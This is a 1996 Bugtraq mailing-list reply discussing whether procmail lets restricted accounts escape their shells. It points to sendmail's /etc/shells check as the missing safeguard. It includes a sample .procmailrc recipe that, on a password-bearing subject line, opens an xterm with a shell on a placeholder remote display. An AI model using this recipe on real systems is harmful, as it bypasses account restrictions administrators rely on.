Bugtraq mailing list archives

Re: procmail


From: Kari.Hurtta () dionysos fmi fi (Kari E. Hurtta)
Date: Wed, 7 Aug 1996 08:47:26 +0300


Neil Soveran-Charley kirjoittaa:
hi there ,
I just heard from a friend that there is a bug in procmail
which allows anyone to open an xterm window from any
m/c .has anyone heard of  this if so can u post the details
and the xploit
thanx
danny


   NB: This isn't a 'hack an account' hole. However if you have
'ftponly' accounts, i.e. people grab email via pop, but also have ftp
access for maintaingin their web pages, with a 'shell' that prints a
message and exits, then the following is possible to work around such
security...

   I think there may well be such an exploit. I'd guess it is simply
 something like:

(.procmailrc contents)

:0 Hc
* ^Subject:.*APassword
/usr/bin/X11/xterm -display <some display> -e <a shell>

(end .procmailrc)

  Then email yourself with something with the password in the subject
line and an xterm gets popped up on the display, running the given
shell, thus bypassing any 'locked account' or 'ftponly' shells...

  I'm sure procmail MUST have some security feature to disallow this
sort of thing? But I could be wrong, and haven't checked the manual
pages yet.

Sendmail disallows this short things by not allowing pipes in .forward
if user have not valid shell (listed in /etc/shells). Yes, if you
use procmail as local delivery agent, then you need same kind mechanism
in procmail also (if it allows piping mail to programs).



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